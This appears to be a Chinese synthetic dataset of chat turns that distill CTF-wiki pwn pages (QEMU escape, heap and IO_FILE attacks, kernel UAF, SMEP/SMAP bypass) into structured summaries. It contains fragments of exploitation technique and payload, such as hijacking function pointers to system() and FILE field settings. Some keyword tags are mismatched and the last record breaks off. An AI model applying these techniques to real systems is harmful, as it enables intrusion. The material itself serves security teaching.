- 为了找到更多的 gadget，以及这是一个 demo ，所有我们在 libc 里查找

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02'])

mips - ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/exploitation/intro.md` 中的章节「漏洞利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/exploitation/intro.md`
标题：QEMU 逃逸入门
章节：QEMU 逃逸入门 > 例题：BlizzardCTF2017 - Strng > 漏洞利用
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
- 本节主题围绕“漏洞利用”展开。
- 由于 PMIO read 功能的读取地址由 (unsigned int )opaque[700] 决定，而该值可以通过PMIO write 写入 addr == 0 处进行修改，由于题目一开始便在 opaque 靠后的放置了一些函数指针，因此我们可以通过读取这些函数指针泄露 libc 基址。
- 同样地，当 addr == 4 时，PMIO write 会向指定地址 + 偏移处写入数据，而该偏移值为我们可控的 (unsigned int )opaque[700]，因此我们可以非常方便地劫持 opaque 上的函数指针，而这些函数指针又可以通过 MMIO write 与 PMIO write 进行触发，因此不难想到的是我们可以通过劫持这些函数指针来完成控制流劫持。
- 当 (unsigned int *)opaque[700] == 3 时，调用函数指针会传入一个 opaque 上地址作为第一个参数，而该处数据同样是我们可控的，因此我们可以在该处先写入字符串后再劫持函数指针为 system() 后直接调用即可完成 Host 上的任意命令执行。

关键术语：
- 漏洞利用
- pwn
- virtualization
- qemu
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

漏洞利用

QEMU 逃逸入门
例题：BlizzardCTF2017 - Strng
漏洞利用

漏洞利用 pwn virtualization qemu exploitation

QEMU 逃逸入门


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「示例 2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：堆中的 Off-By-One > off-by-one 利用思路 > 示例 2
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“示例 2”展开。
- 第二种常见的导致 off-by-one 的场景就是字符串操作了，常见的原因是字符串的结束符计算有误 `` int main(void) { char buffer[40]="";
- } ` 程序乍看上去没有任何问题（不考虑栈溢出），可能很多人在实际的代码中也是这样写的。
- 这就导致了我们向 chunk1 中写入了 25 个字节，我们使用 gdb 进行调试可以看到这一点。
- if(strlen(buffer)==24) { strcpy(chunk1,buffer);
- 还是有一点就是为什么是低字节被覆盖呢，因为我们通常使用的 CPU 的字节序都是小端法的，比如一个 DWORD 值在使用小端法的内存中是这样储存的 ` DWORD 0x41424344 内存 0x44,0x43,0x42,0x41 ``

关键术语：
- 边界/溢出
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 13 行，首行 `int main(void)`
- plain: 3 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1`
- plain: 3 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021`
- plain: 2 行，首行 `DWORD 0x41424344`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

示例 2

边界/溢出 堆 栈 AI安全 漏洞利用 pwn linux user-mode heap

堆中的 Off-By-One


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > 2014 hack.lu oreo > 基本功能
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本功能”展开。
- 需要注意的是，该程序并没有进行 setvbuf 操作，因此在初次执行 io 函数时，会在堆上分配空间。
- 可以覆盖后面堆块的数据大小为 56-(56-27)=27 大小。
- 但问题在于读取的名字的长度过长，可以覆盖 next 指针以及后面堆块的数据。
- 不难分析得到，程序的漏洞主要存在于添加枪支时的堆溢出漏洞。
- 其中，根据添加枪支的过程，我们可以得到枪支的基本结构如下 ``c 00000000 rifle struc ;

关键术语：
- 边界/溢出
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 5 行，首行 `00000000 rifle struc ; (sizeof=0x38, mappedto_5)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本功能

边界/溢出 堆 漏洞利用 pwn linux user-mode heap code:c

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md` 中的章节「_IO_str_jumps -> finish」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md`
标题：glibc 2.24下 IO_FILE 的利用
章节：glibc 2.24下 IO_FILE 的利用 > 新的利用技术 > _IO_str_jumps -> finish
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“_IO_str_jumps -> finish”展开。
- 原理与上面的 _IO_str_jumps -> overflow 类似 ``c void _IO_str_finish (_IO_FILE fp, int dummy) { if (fp->_IO_buf_base && !
- (fp->_flags & _IO_USER_BUF)) (((_IO_strfile ) fp)->_s._free_buffer) (fp->_IO_buf_base);
- _IO_default_finish (fp, 0);
- } ` 条件： 1. _IO_buf_base不为空 2. _flags & _IO_USER_BUF(0x01) 为假 构造如下： `bash _flags = (binsh_in_libc + 0x10) & ~1 _IO_buf_base = binsh_addr _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_finish - 0x18 fp+0xe8 -> system_addr ``
- //[fp+0xe8] fp->_IO_buf_base = NULL;

关键术语：
- 边界/溢出
- 漏洞利用
- pwn
- linux
- user-mode
- io-file
- code:c
- code:bash

代码/命令片段线索：
- c: 8 行，首行 `void`
- bash: 7 行，首行 `_flags = (binsh_in_libc + 0x10) & ~1`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

_IO_str_jumps -> finish

glibc 2.24下 IO_FILE 的利用
新的利用技术
_IO_str_jumps -> finish

边界/溢出 漏洞利用 pwn linux user-mode io-file code:c code:bash

glibc 2.24下 IO_FILE 的利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md` 中的章节「原理以及展示」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md`
标题：House of Roman
章节：House of Roman > 原理以及展示
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“原理以及展示”展开。
- 作者提供给了我们一个 demo 用于展示，整个利用过程大概可以分为三步骤。
- if ( v0 <= 0x13 ) free(heap_ptrs[(unsigned __int64)v0]);
- 1. 将 FD 指向 malloc_hook 2. 修正 0x71 的 Freelist 3. 往 malloc_hook 写入 one gadget 先对 demo 进行一个大致的分析： 开启的保护情况： ``bash [*] '/media/psf/Home/Desktop/MyCTF/House-Of-Roman/new_chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE:...
- `c switch ( v4 ) { case 1: puts("Malloc");
- // [rsp+Ch] [rbp-4h]@1 printf("\nEnter index :");

关键术语：
- 堆
- 栈
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:bash
- code:c

代码/命令片段线索：
- bash: 6 行，首行 `[*] '/media/psf/Home/Desktop/MyCTF/House-Of-Roman/new_chall'`
- c: 19 行，首行 `switch ( v4 )`
- c: 8 行，首行 `void free_chunk()`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理以及展示

堆 栈 漏洞利用 pwn linux user-mode heap code:bash code:c

House of Roman


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > 2015 9447 CTF : Search Engine > 基本功能
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 程序的基本功能是 - 索引一个句子 - 大小v0，(unsigned int)(v0 - 1) > 0xFFFD - 读取的字符串长度必须和给定的大小相等 - 每次索引的句子都是直接在直接建立在前面的句子上的。
- 在一个句子中搜索单词 - 大小v0，(unsigned int)(v0 - 1) > 0xFFFD - 读取指定长度字符串 - 如果有回车标记 - 在指定长度内没有遇到回车，则读完没有设置NULL标记 - 在指定长度内遇到回车，就截断返回。
- 没有回车标记 - 读够指定长度，没有NULL标记结尾。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本功能

Fastbin Attack
2015 9447 CTF : Search Engine
基本功能

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md`
标题：Double Fetch
章节：Double Fetch > 2018 0CTF Finals Baby Kernel > 题目分析
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“题目分析”展开。
- 通过对驱动文件功能的分析，可以得到用户输入的数据结构体如下： `c struct flag { char flag_addr;
- ``c .data:0000000000000480 flag dq offset aFlagThisWillBe .data:0000000000000480 ;
- "[FLAG_REDACTED]" .data:0000000000000488 align 20h ` 驱动主要注册了一个 baby_ioctl 函数，其中包含两个功能。
- `c signed __int64 __fastcall baby_ioctl(__int64 a1, attr a2) { attr v2;
- // [rsp-58h] [rbp-58h] _fentry__(a1, a2);

关键术语：
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 5 行，首行 `.data:0000000000000480 flag dq offset aFlagThisWillBe`
- c: 35 行，首行 `signed __int64 __fastcall baby_ioctl(__int64 a1, attr *a2)`
- c: 5 行，首行 `struct flag`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

题目分析

Double Fetch
2018 0CTF Finals Baby Kernel
题目分析

漏洞利用 pwn linux kernel-mode exploitation code:c

Double Fetch


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「例题：corCTF2022 - cache-of-castaways」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`
标题：Cross-Cache Overflow & Page-level Heap Fengshui
章节：Cross-Cache Overflow & Page-level Heap Fengshui > 例题：corCTF2022 - cache-of-castaways
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“例题：corCTF2022 - cache-of-castaways”展开。
- > 官方 writeup 见此处 题目附件可在 [https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/corCTF2022-cache-of-castaways](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/corCTF2022-cache-of-castaways) 下载。

关键术语：
- 边界/溢出
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题：corCTF2022 - cache-of-castaways

Cross-Cache Overflow & Page-level Heap Fengshui

边界/溢出 堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/web/php/php.md` 中的章节「WEB-INF / web.xml 泄露」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/web/php/php.md`
标题：PHP 代码审计
章节：PHP 代码审计 > 寻找源代码备份 > WEB-INF / web.xml 泄露
路径分类：web / web/php/php.md
分块：1/1

核心知识点：
- 本节主题围绕“WEB-INF / web.xml 泄露”展开。
- /WEB-INF/database.properties ：数据库配置文件。
- /WEB-INF/lib/ ：存放 web 应用需要的各种 JAR 文件，放置仅在这个应用中要求使用的 jar 文件，如数据库驱动 jar 文件。
- WEB-INF 是 Java Web 应用的安全目录，web.xml 中有文件的映射关系。
- WEB-INF 主要包含以下文件或目录： - /WEB-INF/web.xml ：Web 应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。
- /WEB-INF/classes/ ：包含站点所有用到的 class 文件，包括 servlet class 和非 servlet class，他们不能包含在 jar 文件中。

关键术语：
- ROP/JOP
- web
- php
- php.md
- code:nginx

代码/命令片段线索：
- nginx: 1 行，首行 `location ~ ^/WEB-INF/* { deny all; } # 或者return 404; 或者其他！`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

WEB-INF / web.xml 泄露

PHP 代码审计


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「Random freelist」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`
标题：基础知识
章节：基础知识 > Mitigation > 内核“堆”上保护机制 > Random freelist
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Random freelist”展开。
- 这种保护主要发生在 slub allocator 向 buddy system 申请到页框之后的处理过程中，对于未开启这种保护的一张完整的 slub，其上的 object 的连接顺序是线性连续的，但在开启了这种保护之后其上的 object 之间的连接顺序是随机的，这让攻击者无法直接预测下一个分配的 object 的地址。
- 需要注意的是这种保护发生在slub allocator 刚从 buddy system 拿到新 slub 的时候，运行时 freelist 的构成仍遵循 LIFO。
- 文件: ./figure/freelist_random.png]

关键术语：
- 漏洞利用
- pwn
- linux
- kernel-mode
- basic-knowledge.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Random freelist

基础知识
Mitigation
内核“堆”上保护机制
Random freelist

漏洞利用 pwn linux kernel-mode basic-knowledge.md

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md` 中的章节「large bin attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md`
标题：Large Bin Attack
章节：Large Bin Attack > large bin attack
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“large bin attack”展开。
- 在 2.30 版本新加入了对 largebin 跳表的完整性检查，使 unsorted chunk 大于链表中最小的 chunk 时的利用失效，必须使 unsorted chunk 小于链表中最小的 chunk，通过 `cpp victim->bk_nextsize->fd_nextsize = victim;
- ` 实现利用，也就是将本 chunk 的地址写到 bk_nextsize + 0x20` 处。
- 这种攻击方式主要利用的是 chunk 进入 bin 中的操作，在 malloc 的时候，遍历 unsorted bin 时，对每一个 chunk，若无法 exact-fit 分配或不满足切割分配的条件，就会将该 chunk 置入相应的 bin 中，而此过程中缺乏对 largebin 的跳表指针的检测。
- / maintain large bins in sorted order / if (fwd !
- / if smaller than smallest, bypass loop below / assert (chunk_main_arena (bck->bk));

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:cpp

代码/命令片段线索：
- cpp: 47 行，首行 `else`
- cpp: 2 行，首行 `fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;`
- cpp: 4 行，首行 `if ((unsigned long) size`
- cpp: 1 行，首行 `victim->bk_nextsize->fd_nextsize = victim;`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

large bin attack

堆 AI安全 漏洞利用 pwn linux user-mode heap code:cpp

Large Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「1. int overflow lead to double free」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：1. int overflow lead to double free
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“1. int overflow lead to double free”展开。
- intoverflow = -9223372036854775808 malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,p64(0x400ef8)) malloc(512,'/bin/sh\0')

关键术语：
- 边界/溢出
- 堆
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

1. int overflow lead to double free

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md` 中的章节「EXPLOIT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md`
标题：freelist 劫持
章节：freelist 劫持 > 例题：RWCTF2022高校赛 - Digging into kernel 1 & 2 > EXPLOIT
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“EXPLOIT”展开。
- } int main(int argc, char argv, char envp) { int dev_fd[5], root_script_fd, flag_fd;
- / construct UAF / data.ptr = malloc(0x1000);
- / leak kernel heap addr and guess the page_offset_base / readBuf(dev_fd[1], &data);
- printf("[+] kernel heap leak: 0x%lx\n", kernel_heap_leak);
- errExit("\033[31m\033[1m[x] FAILED TO HIT page_offset_base!

关键术语：
- UAF
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 120 行，首行 `#define _GNU_SOURCE`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

EXPLOIT

例题：RWCTF2022高校赛 - Digging into kernel 1 & 2

UAF 堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

freelist 劫持


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md` 中的章节「GFP\_KERNEL & GFP\_KERNEL\_ACCOUNT 的隔离」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md`
标题：内部隔离
章节：内部隔离 > 堆块隔离 > GFP\_KERNEL & GFP\_KERNEL\_ACCOUNT 的隔离
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“GFP\_KERNEL & GFP\_KERNEL\_ACCOUNT 的隔离”展开。
- GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 是内核中最为常见与通用的分配 flag，常规情况下他们的分配都来自同一个 kmem_cache ——即通用的 kmalloc-xx。
- 在 5.9 版本之前GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 存在隔离机制，在 这个 commit 中取消了隔离机制，自内核版本 5.14 起，在 这个 commit 当中又重新引入： - 对于开启了 CONFIG_MEMCG_KMEM 编译选项的 kernel 而言（默认开启），其会为使用 GFP_KERNEL_ACCOUNT 进行分配的通用对象创建一组独立的 kmem_cache ——名为 kmalloc-cg-* ，从而导致使用这两种 flag 的 object 之间的隔离。

关键术语：
- 堆
- pwn
- linux
- kernel-mode
- defense

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

GFP\_KERNEL & GFP\_KERNEL\_ACCOUNT 的隔离

内部隔离
堆块隔离
GFP\_KERNEL & GFP\_KERNEL\_ACCOUNT 的隔离

内部隔离


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/stack-intro.md` 中的章节「函数调用栈」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stack-intro.md`
标题：栈介绍
章节：栈介绍 > 函数调用栈
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- C语言函数调用栈(一) - C语言函数调用栈(二) 这里再给出另外一张寄存器的图 [图片文件: ./figure/register.png] 需要注意的是，32 位和 64 位程序有以下简单的区别 - x86 - 函数参数在函数返回地址的上方 - x64 - System V AMD64 ABI (Linux、FreeBSD、macOS 等采用)中前六个整型或指针参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9 寄存器中，如果还有更多的参数的话才会保存在栈上。
- 请务必仔细看一下下面的文章来学习一下基本的函数调用栈。
- 内存地址不能大于 0x00007FFFFFFFFFFF，6 个字节长度，否则会抛出异常。

关键术语：
- 边界/溢出
- 栈
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

函数调用栈

边界/溢出 栈 pwn linux user-mode stackoverflow

栈介绍


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md` 中的章节「格式化字符串」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md`
标题：原理介绍
章节：原理介绍 > 格式化字符串函数介绍 > 格式化字符串
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 这里我们了解一下格式化字符串的格式，其基本格式如下 `` %[parameter][flags][field width][.precision][length]type ` 每一种pattern的含义请具体参考维基百科的格式化字符串 。
- 以下几个pattern中的对应选择需要重点关注 - parameter - n$，获取格式化字符串中的指定参数 - flag - field width - 输出的最小宽度 - precision - 输出的最大长度 - length，输出的长度 - hh，输出一个字节 - h，输出一个双字节 - type - d/i，有符号整数 - u，无符号整数 - x/X，16进制unsigned int 。
- printf("%p",a)用地址的格式打印变量a的值，printf("%p", &a)打印变量a所在的地址。
- 如果用了l标志，则对应函数参数指向wchar\_t型的数组，输出时把每个宽字符转化为多字节字符，相当于调用wcrtomb 函数。
- 如果用了l标志，把wint\_t参数转为包含两个元素的wchart_t数组，其中第一个元素包含要输出的字符，第二个元素为null宽字符。
- %， '%`'字面值，不接受任何flags, width。

关键术语：
- pwn
- linux
- user-mode
- fmtstr

代码/命令片段线索：
- plain: 1 行，首行 `%[parameter][flags][field width][.precision][length]type`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

格式化字符串

原理介绍 格式化字符串函数介绍 格式化字符串

原理介绍


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/user-data-access.md` 中的章节「设置 CR4 寄存器」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/user-data-access.md`
标题：用户数据不可访问
章节：用户数据不可访问 > x86 - SMAP - Supervisor Mode Access Protection > Attack SMEP > 设置 CR4 寄存器
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“设置 CR4 寄存器”展开。
- 内核中修改 cr4 的代码最终会调用到 native_write_cr4，当我们能够劫持控制流后，我们就可以执行内核中对应的 gadget 来修改 CR4。
- 把 CR4 寄存器中的第 21 位置为 0 后，我们就可以访问用户态的数据。
- 一般而言，我们会使用 0x6f0 来设置 CR4，这样 SMAP 和 SMEP 都会被关闭。
- 从另外一个维度来看，内核中存在固定的修改 cr4 的代码，比如在 refresh_pce 函数、 set_tsc_mode 等函数里都有。

关键术语：
- pwn
- linux
- kernel-mode
- defense

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

设置 CR4 寄存器

x86 - SMAP - Supervisor Mode Access Protection

用户数据不可访问


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md` 中的章节「Reference」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md`
标题：kernel UAF
章节：kernel UAF > Reference
路径分类：pwn / pwn/linux/kernel-mode
